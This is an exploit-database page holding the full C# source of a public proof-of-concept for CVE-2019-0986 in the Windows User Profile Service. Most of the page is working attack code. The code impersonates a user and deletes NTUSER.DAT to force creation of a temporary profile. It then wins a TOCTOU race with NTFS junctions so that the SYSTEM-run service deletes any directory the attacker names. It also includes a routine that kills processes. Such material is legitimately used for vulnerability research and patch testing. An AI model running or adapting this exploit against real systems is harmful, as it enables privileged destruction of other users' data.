Exploit database

GH-abc8c914821f1ade1a8b41393b4ee42e

padovah4ck/cve-2019-0986

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-0986

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
padovah4ck/cve-2019-0986Revision 09e1181fcd6c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

NtDataPoc/Program.cs

C# · 14,763 bytes
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Principal;
using System.Threading;

namespace NtDataPoc
{

    public class Esssploit
    {
        private static string userName = "";
        private static string domainName = "";
        private static string password = "";
        private static string fileDat = "";
        private static string ntuserini = "";
        private static bool isGoingToKill = false;
        private static string tempUserHomeDir = @"C:\Users\temp";
        private static string tempMountpoint = @"C:\moun1";
        private static string dirToDelete = @"C:\Users\theuser2";
        private static string fileLogName = @"c:\p0c_logs\poclog.txt";
        private const UInt32 INFINITE = 0xFFFFFFFF;
        private const UInt32 WAIT_FAILED = 0xFFFFFFFF;

        private const int LOGON32_PROVIDER_DEFAULT = 0;
        //This parameter causes LogonUser to create a primary token.
        private const int LOGON32_LOGON_INTERACTIVE = 2;

        static void Main(string[] args)
        {
            SafeTokenHandle safeTokenHandle;
            try
            {
                if (args != null && (args.Length < 3 || args.Length > 4))
                {
                    Console.WriteLine("Usage: program.exe USERNAME DOMAINNAME PASSWORD [DIRECTORY_TO_DELETE]");
                    return;
                }
                userName = args[0];
                domainName = args[1];
                password = args[2];

                if (!Directory.Exists(@"c:\p0c_logs"))
                {
                    Directory.CreateDirectory(@"c:\p0c_logs");
                }

                File.WriteAllText(fileLogName, $"LOG STARTED {DateTime.UtcNow.ToString("yyyy-MM-ddTHH:mm:ss.fffffffZ")} " + Environment.NewLine);

                if (args.Length == 4)
                {
                    dirToDelete = args[3];
                    if (!Directory.Exists(dirToDelete))
                    {
                        Console.WriteLine($"Directory {dirToDelete} does not exist ");
                        File.AppendAllText(fileLogName, $"Directory {dirToDelete} does not exist " + Environment.NewLine);
                        return;
                    }
                }

                bool returnValue = LogonUser(userName, domainName, password, out safeTokenHandle);

                using (safeTokenHandle)
                {
                    Console.WriteLine("Did LogonUser Succeed? " + (returnValue ? "Yes" : "No"));
                    Console.WriteLine("Value of Windows NT token: " + safeTokenHandle);
                    File.AppendAllText(fileLogName, "Did LogonUser Succeed? " + (returnValue ? "Yes" : "No") + Environment.NewLine);
                    File.AppendAllText(fileLogName, "Value of Windows NT token: " + safeTokenHandle + Environment.NewLine);

                    // Check the identity.
                    Console.WriteLine("Before impersonation: "
                        + WindowsIdentity.GetCurrent().Name);
                    File.AppendAllText(fileLogName, "Before impersonation: "
                        + WindowsIdentity.GetCurrent().Name + Environment.NewLine);
                    // Use the token handle returned by LogonUser.
                    using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(safeTokenHandle.DangerousGetHandle()))
                    {
                        // Check the identity.
                        Console.WriteLine("After impersonation: "
                            + WindowsIdentity.GetCurrent().Name);
                        File.AppendAllText(fileLogName, "After impersonation: "
                            + WindowsIdentity.GetCurrent().Name + Environment.NewLine);
                        string impersonatedSid = WindowsIdentity.GetCurrent().User.Value;

                        //KillProcessBySidUserName(impersonatedSid, Process.GetCurrentProcess().Id);
                        //Console.WriteLine("[+] Killed user processes  ");
                        //File.AppendAllText(fileLogName, "[+] Killed user processes  " + Environment.NewLine);

                        // cleaning up
                        if (Directory.Exists(tempMountpoint))
                        {
                            Directory.Delete(tempMountpoint, true);
                            Console.WriteLine($@"[+] clean up directory {tempMountpoint}");
                            File.AppendAllText(fileLogName, $@"[+] clean up directory {tempMountpoint}" + Environment.NewLine);
                        }

                        // trying to read current user home directory
                        string userHomeDir = "";
                        using (RegistryKey key = Registry.LocalMachine.OpenSubKey($@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{impersonatedSid}"))
                        {
                            if (key != null)
                            {
                                Object profileImagePath = key.GetValue("ProfileImagePath");
                                if (profileImagePath != null)
                                {
                                    userHomeDir = profileImagePath.ToString();
                                }
                            }
                        }
                        // user home directory exists
                        // we're going to delete NTUSER.DAT in order to trigger ProfSvc service 
                        // After that, ProfSvc service creates a temporary USER home in c:\users\TEMP
                        // and we're gonna exploit SYSTEM privilegs that service is using
                        if (!string.IsNullOrEmpty(userHomeDir))
                        {
                            Console.WriteLine($@"[-] {userHomeDir} exists ");
                            File.AppendAllText(fileLogName, $@"[-] {userHomeDir} exists " + Environment.NewLine);
                            fileDat = $@"{userHomeDir}\NTUSER.DAT";
                            if (File.Exists(fileDat))
                            {
                                File.Delete(fileDat);
                                Console.WriteLine($@"[+] {fileDat} exists and is deleted ");
                                File.AppendAllText(fileLogName, $@"[+] {fileDat} exists and is deleted " + Environment.NewLine);
                            }
                        }
                    }

                    new Thread(() =>
                    {
                        // Starting cmd.exe process as current USER
                        // This triggers temporary user home creation
                        Thread.Sleep(1000);
                        SecureString secPassword = new SecureString();
                        Array.ForEach(password.ToCharArray(), secPassword.AppendChar);
                        //secPassword.MakeReadOnly();
                        try
                        {
                            Process process = new Process();
                            process.StartInfo.FileName = "cmd.exe";
                            process.StartInfo.UseShellExecute = false;
                            process.StartInfo.Domain = domainName;
                            process.StartInfo.UserName = userName;
                            process.StartInfo.Password = secPassword;
                            process.StartInfo.LoadUserProfile = true;
                            process.StartInfo.WorkingDirectory = tempMountpoint;
                            process.Start();
                            isGoingToKill = true;
                            Thread.Sleep(500);
                            // Kill the process triggers all the DELETE process
                            process.Kill();
                        }
                        // System.ComponentModel.Win32Exception: Access Denied may happen on Windows 8.1
                        catch (Win32Exception)
                        {
                            // do nothing
                        }
                        NotepadHelper.ShowMessage($"Your dir {dirToDelete} should be empty now.. Use this thing responsibly " + Environment.NewLine);
                    }).Start();


                    using (safeTokenHandle)
                    {
                        // Use the token handle returned by LogonUser.
                        using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(safeTokenHandle.DangerousGetHandle()))
                        {
                            // Impersonating
                            while (true)
                            {
                                // as soon as tempUserHomeDir (c:\users\temp) is created we create a mountpoint to c:\blah                                 
                                if (Directory.Exists(tempUserHomeDir))
                                {
                                    try
                                    {
                                        // First trickie TOCTOU 
                                        JunctionPoint.Create(tempUserHomeDir, tempMountpoint, true);
                                        Console.WriteLine($@"[+] created mountpoint {tempUserHomeDir} to {tempMountpoint}");
                                        File.AppendAllText(fileLogName, $@"[+] created mountpoint {tempUserHomeDir} to {tempMountpoint}" + Environment.NewLine);

                                        //NtFile.CreateMountPoint(NtFileUtils.DosFileNameToNt(tempUserHomeDir), NtFileUtils.DosFileNameToNt(dirToDelete), null);
                                        // Second junction
                                        JunctionPoint.Create(tempUserHomeDir, dirToDelete, true);

                                        Console.WriteLine($@"[+] Done -> mount point: {tempUserHomeDir} -> {dirToDelete}");
                                        File.AppendAllText(fileLogName, $@"[+] Done -> mount point: {tempUserHomeDir} -> {dirToDelete}" + Environment.NewLine);
                                    }
                                    catch (Exception ex)
                                    {
                                        Console.WriteLine($"[!] Error ... {ex.Message}");
                                        File.AppendAllText(fileLogName, $"[!] Error ... {ex.Message}" + Environment.NewLine);
                                        break;
                                    }
                                    break;
                                }
                                else
                                {
                                    continue;
                                }
                            }
                        }
                    }
                }

                // Releasing the context object stops the impersonation
                // Check the identity.
                Console.WriteLine("After closing the context: " + WindowsIdentity.GetCurrent().Name);
                return;
            }
            catch (Exception ex)
            {
                Console.WriteLine("Doh.. exception occurred " + ex.Message);
                File.AppendAllText(fileLogName, "Doh.. exception occurred " + ex.Message + Environment.NewLine);
            }
        }


        private static bool LogonUser(string userName, string domainName, string password, out SafeTokenHandle safeTokenHandle)
        {
            // Get the user token for the specified user, domain, and password using the
            // unmanaged LogonUser method.
            // The local machine name can be used for the domain name to impersonate a user on this machine.

            // Call LogonUser to obtain a handle to an access token.
            bool returnValue = NativeWin32.LogonUser(userName, domainName, password,
                LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT,
                out safeTokenHandle);

            Console.WriteLine("LogonUser called.");

            if (false == returnValue)
            {
                int ret = Marshal.GetLastWin32Error();
                Console.WriteLine("LogonUser failed with error code : {0}", ret);
                File.AppendAllText(fileLogName, $"LogonUser failed with error code : {ret} " + Environment.NewLine);
                throw new System.ComponentModel.Win32Exception(ret);
            }
            return returnValue;
        }


        private static void KillProcessBySidUserName(string sid, int currentId)
        {
            /*var processes = from p in Process.GetProcesses()
                            where GetProcessOwner(p.Id) == sid && p.Id != currentId
                            select p;*/
            Console.WriteLine($"Current process ID {currentId} ");
            File.AppendAllText(fileLogName, $"Current process ID {currentId} " + Environment.NewLine);

            Process[] processes = Process.GetProcesses();
            foreach (Process p in processes)
            {
                if (GetProcessOwner(p.Id) == sid && p.Id != currentId)
                {
                    Console.WriteLine($"Attempting kill process owned by {sid} -> Id {p.Id} ProcessName {p.ProcessName} ");
                    File.AppendAllText(fileLogName, $"Attempting kill process owned by {sid} -> Id {p.Id} ProcessName {p.ProcessName} " + Environment.NewLine);
                    p.Kill();
                }
            }
            //foreach (Process p in processes) p.Kill();
        }

        private static string GetProcessOwner(int processId)
        {

            string query = "Select * From Win32_Process Where ProcessID = " + processId;
            ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
            ManagementObjectCollection processList = searcher.Get();

            foreach (ManagementObject obj in processList)
            {
                string[] argList = new string[] { string.Empty };
                int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList));

                string[] sid = new String[1];
                obj.InvokeMethod("GetOwnerSid", (object[])sid);
                if (!string.IsNullOrEmpty(sid[0]))
                    return sid[0];
            }

            return "NO OWNER";

        }

    }

}